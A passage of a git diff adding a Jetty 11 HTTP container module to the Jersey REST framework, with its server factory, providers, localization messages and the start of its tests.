+ this.configSetStatusOverSendError = ServerProperties.getValue(getConfiguration().getProperties(),
+ ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, false, Boolean.class);
+ }
+
+}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
new file mode 100644
index 0000000..26a4b79
--- /dev/null
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
@@ -0,0 +1,305 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.net.URI;
+import java.util.concurrent.ThreadFactory;
+
+import jakarta.ws.rs.ProcessingException;
+
+import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.process.JerseyProcessingUncaughtExceptionHandler;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.Container;
+
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.HttpConfiguration;
+import org.eclipse.jetty.server.HttpConnectionFactory;
+import org.eclipse.jetty.server.SecureRequestCustomizer;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.server.SslConnectionFactory;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.eclipse.jetty.util.thread.QueuedThreadPool;
+
+/**
+ * Factory for creating and starting Jetty server handlers. This returns
+ * a handle to the started server as {@link Server} instances, which allows
+ * the server to be stopped by invoking the {@link org.eclipse.jetty.server.Server#stop()} method.
+ * <p/>
+ * To start the server in HTTPS mode an {@link SslContextFactory} can be provided.
+ * This will be used to decrypt and encrypt information sent over the
+ * connected TCP socket channel.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Marek Potociar
+ */
+public final class JettyHttpContainerFactory {
+
+ private JettyHttpContainerFactory() {
+ }
+
+ /**
+ * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri) throws ProcessingException {
+ return createServer(uri, null, null, true);
+ }
+
+ /**
+ * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @param start if set to false, server will not get started, which allows to configure the underlying transport
+ * layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final boolean start) throws ProcessingException {
+ return createServer(uri, null, null, start);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ * <p/>
+ * This implementation defers to the
+ * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final ResourceConfig config)
+ throws ProcessingException {
+
+ final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
+ return createServer(uri, null, container, true);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ * <p/>
+ * This implementation defers to the
+ * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be
+ * used as context path, the rest will be ignored.
+ * @param configuration web application configuration.
+ * @param start if set to false, server will not get started, which allows to configure the underlying
+ * transport layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start)
+ throws ProcessingException {
+ return createServer(uri, null, ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
+ }
+
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "https". The URI user information and host
+ * are ignored If the URI port is not present then port 143 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ * @since 2.12
+ */
+ public static Server createServer(final URI uri, final ResourceConfig config, final boolean start,
+ final Object parentContext) {
+ return createServer(uri, null, new JettyHttpContainer(config, parentContext), start);
+ }
+
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "https". The URI user information and host
+ * are ignored If the URI port is not present then port 143 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ * @since 2.12
+ */
+ public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) {
+ return createServer(uri, null, new JettyHttpContainer(config, parentContext), true);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ * <p/>
+ * This implementation defers to the
+ * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to {@code https}. The URI user information and host
+ * are ignored. If the URI port is not present then port
+ * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+ * @param config the resource configuration.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory,
+ final ResourceConfig config)
+ throws ProcessingException {
+ final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
+ return createServer(uri, sslContextFactory, container, true);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes found by searching the
+ * classes referenced in the java classpath.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to {@code https}. The URI user information and host
+ * are ignored. If the URI port is not present then port
+ * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+ * @param handler the container that handles all HTTP requests
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ */
+ public static Server createServer(final URI uri,
+ final SslContextFactory.Server sslContextFactory,
+ final JettyHttpContainer handler,
+ final boolean start) {
+ if (uri == null) {
+ throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL());
+ }
+ final String scheme = uri.getScheme();
+ int defaultPort = Container.DEFAULT_HTTP_PORT;
+
+ if (sslContextFactory == null) {
+ if (!"http".equalsIgnoreCase(scheme)) {
+ throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTP());
+ }
+ } else {
+ if (!"https".equalsIgnoreCase(scheme)) {
+ throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTPS());
+ }
+ defaultPort = Container.DEFAULT_HTTPS_PORT;
+ }
+ final int port = (uri.getPort() == -1) ? defaultPort : uri.getPort();
+
+ final Server server = new Server(new JettyConnectorThreadPool());
+ final HttpConfiguration config = new HttpConfiguration();
+ if (sslContextFactory != null) {
+ config.setSecureScheme("https");
+ config.setSecurePort(port);
+ config.addCustomizer(new SecureRequestCustomizer());
+
+ final ServerConnector https = new ServerConnector(server,
+ new SslConnectionFactory(sslContextFactory, "http/1.1"),
+ new HttpConnectionFactory(config));
+ https.setPort(port);
+ server.setConnectors(new Connector[]{https});
+
+ } else {
+ final ServerConnector http = new ServerConnector(server, new HttpConnectionFactory(config));
+ http.setPort(port);
+ server.setConnectors(new Connector[]{http});
+ }
+ if (handler != null) {
+ server.setHandler(handler);
+ }
+
+ if (start) {
+ try {
+ // Start the server.
+ server.start();
+ } catch (final Exception e) {
+ throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
+ }
+ }
+ return server;
+ }
+
+ // TODO: Use https://www.eclipse.org/jetty/javadoc/current/org/eclipse/jetty/util/thread/QueuedThreadPool.html
+ // #%3Cinit%3E(int,int,int,int,java.util.concurrent.BlockingQueue,java.lang.ThreadGroup,java.util.concurrent.ThreadFactory)
+ //
+ // Keeping this for backwards compatibility for the time being
+ private static final class JettyConnectorThreadPool extends QueuedThreadPool {
+ private final ThreadFactory threadFactory = new ThreadFactoryBuilder()
+ .setNameFormat("jetty-http-server-%d")
+ .setUncaughtExceptionHandler(new JerseyProcessingUncaughtExceptionHandler())
+ .build();
+
+ @Override
+ public Thread newThread(Runnable runnable) {
+ return threadFactory.newThread(runnable);
+ }
+ }
+}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
new file mode 100644
index 0000000..4b80825
--- /dev/null
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.server.spi.ContainerProvider;
+
+/**
+ * Container provider for containers based on Jetty Server {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Marek Potociar
+ */
+public final class JettyHttpContainerProvider implements ContainerProvider {
+
+ public static final String HANDLER_NAME = "org.eclipse.jetty.server.Handler";
+ @Override
+ public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException {
+ if (JdkVersion.getJdkVersion().getMajor() < 11) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
+ return type.cast(new JettyHttpContainer(application));
+ }
+ return null;
+ }
+
+ public <T> T createContainer(final Class<T> type, final Application application,
+ Object parentContext) throws ProcessingException {
+ if (JdkVersion.getJdkVersion().getMajor() < 11) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
+ return type.cast(new JettyHttpContainer(application, parentContext));
+ }
+ return null;
+ }
+
+}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
new file mode 100644
index 0000000..dca75e0
--- /dev/null
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY;
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CompletionException;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+/**
+ * Jersey {@code Server} implementation based on Jetty
+ * {@link org.eclipse.jetty.server.Server Server}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class JettyHttpServer implements WebServer {
+
+ private final JettyHttpContainer container;
+
+ private final org.eclipse.jetty.server.Server httpServer;
+
+ JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+ this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration);
+ }
+
+ JettyHttpServer(final Class<? extends Application> applicationClass,
+ final JerseySeBootstrapConfiguration configuration) {
+ this(new JettyHttpContainer(applicationClass), configuration);
+ }
+
+ JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
+ final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration
+ .sslClientAuthentication();
+ final SslContextFactory.Server sslContextFactory;
+ if (configuration.isHttps()) {
+ sslContextFactory = new SslContextFactory.Server();
+ sslContextFactory.setSslContext(configuration.sslContext());
+ sslContextFactory.setWantClientAuth(sslClientAuthentication == OPTIONAL);
+ sslContextFactory.setNeedClientAuth(sslClientAuthentication == MANDATORY);
+ } else {
+ sslContextFactory = null;
+ }
+ this.container = container;
+ this.httpServer = JettyHttpContainerFactory.createServer(
+ configuration.uri(true),
+ sslContextFactory,
+ this.container,
+ configuration.autoStart());
+ }
+
+ @Override
+ public final JettyHttpContainer container() {
+ return this.container;
+ }
+
+ @Override
+ public final int port() {
+ final ServerConnector serverConnector = (ServerConnector) this.httpServer.getConnectors()[0];
+ final int configuredPort = serverConnector.getPort();
+ final int localPort = serverConnector.getLocalPort();
+ return localPort < 0 ? configuredPort : localPort;
+ }
+
+ @Override
+ public final CompletableFuture<Void> start() {
+ return CompletableFuture.runAsync(() -> {
+ try {
+ this.httpServer.start();
+ } catch (final Exception e) {
+ throw new CompletionException(e);
+ }
+ });
+ }
+
+ @Override
+ public final CompletableFuture<Void> stop() {
+ return CompletableFuture.runAsync(() -> {
+ try {
+ this.httpServer.stop();
+ } catch (final Exception e) {
+ throw new CompletionException(e);
+ }
+ });
+ }
+
+ @Override
+ public final <T> T unwrap(final Class<T> nativeClass) {
+ return nativeClass.cast(this.httpServer);
+ }
+
+}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
new file mode 100644
index 0000000..395a9f9
--- /dev/null
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+/**
+ * Server provider for servers based on Jetty
+ * {@link org.eclipse.jetty.server.Server Server}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class JettyHttpServerProvider implements WebServerProvider {
+
+ @Override
+ public <T extends WebServer> T createServer(final Class<T> type, final Application application,
+ final SeBootstrap.Configuration configuration) {
+ return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
+ ? type.cast(new JettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
+ : null;
+ }
+
+ @Override
+ public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
+ final SeBootstrap.Configuration configuration) {
+ return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
+ ? type.cast(new JettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
+ : null;
+ }
+}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java
similarity index 75%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
copy to containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java
index dd25372..27763d0 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
* SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
*/
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+/**
+ * Jersey Jetty container classes.
+ */
+package org.glassfish.jersey.jetty;
diff --git a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
new file mode 100644
index 0000000..6b9cc26
--- /dev/null
+++ b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.jetty.JettyHttpContainerProvider
diff --git a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
new file mode 100644
index 0000000..641eaee
--- /dev/null
+++ b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.jetty.JettyHttpServerProvider
diff --git a/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
new file mode 100644
index 0000000..f6be7cf
--- /dev/null
+++ b/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
@@ -0,0 +1,25 @@
+#
+# Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+# {0} - status code; {1} - status reason message
+container.started=JettyHttpContainer.handle(...) started.
+exception.sending.error.response=I/O exception occurred while sending "{0}/{1}" error response.
+error.when.creating.server=Exception thrown when trying to create jetty server.
+unable.to.close.response=Unable to close response output.
+uri.cannot.be.null=The URI must not be null.
+wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL.
+wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL.
+not.supported=Jetty container is not supported on JDK version less than 11.
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
new file mode 100644
index 0000000..7519624
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022 Contributors to the Eclipse Foundation
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.net.URI;
+import java.security.AccessController;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.junit.jupiter.api.AfterEach;
+
+/**
+ * Abstract Jetty Server unit tester.
+ *
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Miroslav Fuksa
+ */
+public abstract class AbstractJettyServerTester {
+
+ private static final Logger LOGGER = Logger.getLogger(AbstractJettyServerTester.class.getName());
+
+ public static final String CONTEXT = "";
+ private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998
+
+ /**
+ * Get the port to be used for test application deployments.
+ *
+ * @return The HTTP port of the URI
+ */
+ protected final int getPort() {
+ if (server != null) {
+ return ((ServerConnector) server.getConnectors()[0]).getLocalPort();
+ }
+
+ final String value = AccessController
+ .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+ if (value != null) {
+
+ try {
+ final int i = Integer.parseInt(value);
+ if (i < 0) {
+ throw new NumberFormatException("Value is negative.");
+ }
+ return i;
+ } catch (NumberFormatException e) {
+ LOGGER.log(Level.CONFIG,
+ "Value of 'jersey.config.test.container.port'"
+ + " property is not a valid non-negative integer [" + value + "]."
+ + " Reverting to default [" + DEFAULT_PORT + "].",
+ e);
+ }
+ }
+ return DEFAULT_PORT;
+ }
+
+ private final int getPort(RuntimeType runtimeType) {
+ switch (runtimeType) {
+ case SERVER:
+ return getPort();
+ case CLIENT:
+ return server.getURI().getPort();
+ default:
+ throw new IllegalStateException("Unexpected runtime type");
+ }
+ }
+
+ private volatile Server server;
+
+ public UriBuilder getUri() {
+ return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
+ }
+
+ public void startServer(Class<?>... resources) {
+ ResourceConfig config = new ResourceConfig(resources);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ startServer(config);
+ }
+
+ public void startServer(ResourceConfig config) {
+ final URI baseUri = getBaseUri();
+ server = JettyHttpContainerFactory.createServer(baseUri, config);
+ LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + getBaseUri());
+ }
+
+ public URI getBaseUri() {
+ return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
+ }
+
+ public void stopServer() {
+ try {
+ server.stop();
+ server = null;
+ LOGGER.log(Level.INFO, "Jetty-http server stopped.");
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @AfterEach
+ public void tearDown() {
+ if (server != null) {
+ stopServer();
+ }
+ }
+}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java
new file mode 100644
index 0000000..dfc66b0
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java
@@ -0,0 +1,169 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Response;
+
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Michal Gajdos
+ */
+public class AsyncTest extends AbstractJettyServerTester {
+
+ @Path("/async")
+ @SuppressWarnings("VoidMethodAnnotatedWithGET")
+ public static class AsyncResource {
+
